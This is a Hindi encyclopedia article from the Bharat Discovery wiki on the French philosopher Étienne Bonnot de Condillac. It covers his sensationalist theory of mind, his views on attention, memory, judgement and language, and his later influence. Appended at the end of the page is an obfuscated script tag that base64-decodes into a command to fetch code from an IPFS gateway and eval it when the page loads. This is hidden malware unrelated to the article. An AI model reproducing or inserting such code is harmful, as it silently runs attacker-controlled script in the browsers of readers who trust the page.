एतियान बोनो द कौंदिला

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
The printable version is no longer supported and may have rendering errors. Please update your browser bookmarks and please use the default browser print function instead.

एतियान बोनो द कौंदिला (1715-1780 ई.) फ्रांसीसी दार्शनिक जो मूलत: ईसाई महंत था। उसका दिदेरो (Diderot) तथा रूसो (Rousseau) आदि दार्शनिकों से गहरा संपर्क था। उसने प्रसिद्ध फ्रांसीसी विश्वकोश में कुछ लेख और सात बृहत्‌ ग्रंथ लिखे हैं। उसने स्पिनोज़ावादी परमतत्व (सवस्टैंस), लाइबनीत्सवादी आत्माणु (monad) एवं पूर्वस्थापित साम्य (प्री-एस्टैब्लिश्ड हार्मोनी), तथा मालब्रांशवादी मन:शक्तियों की धारणाओं का खंडन करके, फ्रांस में अंग्रेजी लोकवादी अनुभववाद की स्थापना की। लॉक के मत से सर्वथा भिन्न उसने केवल संवेदना को मूल मान, समस्त मनोवस्थाओं को संवेदना का ही परिवर्तित रूप सिद्ध किया। स्पर्श को बाह्य तथ्यात्मक वस्तु का सूचक बताकर, उसने हमारी सभी प्रकार की संवेदना को ऐसा ही मानना, स्पर्श के संबंध में पड़ी आदत का परिणाम तथा उपस्थित संवेदना का चेतना को पूरी तरह अपने में लगा लेना ही अवधान का स्वरूप बताया और उसी प्रकार किसी गत संवेदना पर अवधान को स्मृति कहा है। उसने यह भी कहा कि एक साथ दो संवेदनाओं पर ध्यान देना ही तुलना है। तुलना में समानता असामनता देखी जाती है, यही बौद्धिक निर्णय है। पूर्व तथा वर्तमान संवेदनाओं के सुख दु:खात्मक अंगों की तुलना से इच्छा, कल्पना और प्रेम, घृणा, आशा भय और संकल्प जैसे उद्वेगों की उत्पत्ति होती है। मूल प्रवृत्ति प्रतिभात्मक विचार से उत्पन्न होकर विचारविहीन हो गई आदत होती है, और वह न नैसर्गिक होती है, न आनुवंशिक। विचार सदा भाष्यात्मक होता है, इसलये संज्ञापन भाषा का एकमात्र उद्देश्य नहीं है। भाषा का साम्यीकरण विचार में त्रुटि और दोष लाता है, इसलिये सत्य पर पहुँचने के लिये असभ्य भाषा द्वारा विकास विश्लेषण ही उपयुक्त विधि है।[1]

कौंदिला के इन विचारों का लगभग पचास वर्ष तक फ्रांस में अविरोध प्रभाव रहा। 19वीं सदी में जर्मनी से आई रोमैंटिक लहर ने संवेदना वाद के स्थान पर कूजै के अध्यात्मवाद को महत्व दिया। किंतु इंग्लैंड़ में, मिल, बेन, और स्पेंसर आदि अनुभववादियों औरह मनोवैज्ञानिकों पर कौदिला का गहरा प्रभाव बना रहा।[2]



पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. हिन्दी विश्वकोश, खण्ड 3 |प्रकाशक: नागरी प्रचारिणी सभा, वाराणसी |संकलन: भारत डिस्कवरी पुस्तकालय |पृष्ठ संख्या: 193 |
  2. सं.ग्रं.-ई. बी. द कौंदिला : ऊब्र कोंप्लीत; लबी ब्रूल : हिस्ट्री ऑव मॉडर्न फ़िलासफ़ी इन फ्रांस।रा. लूं.

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>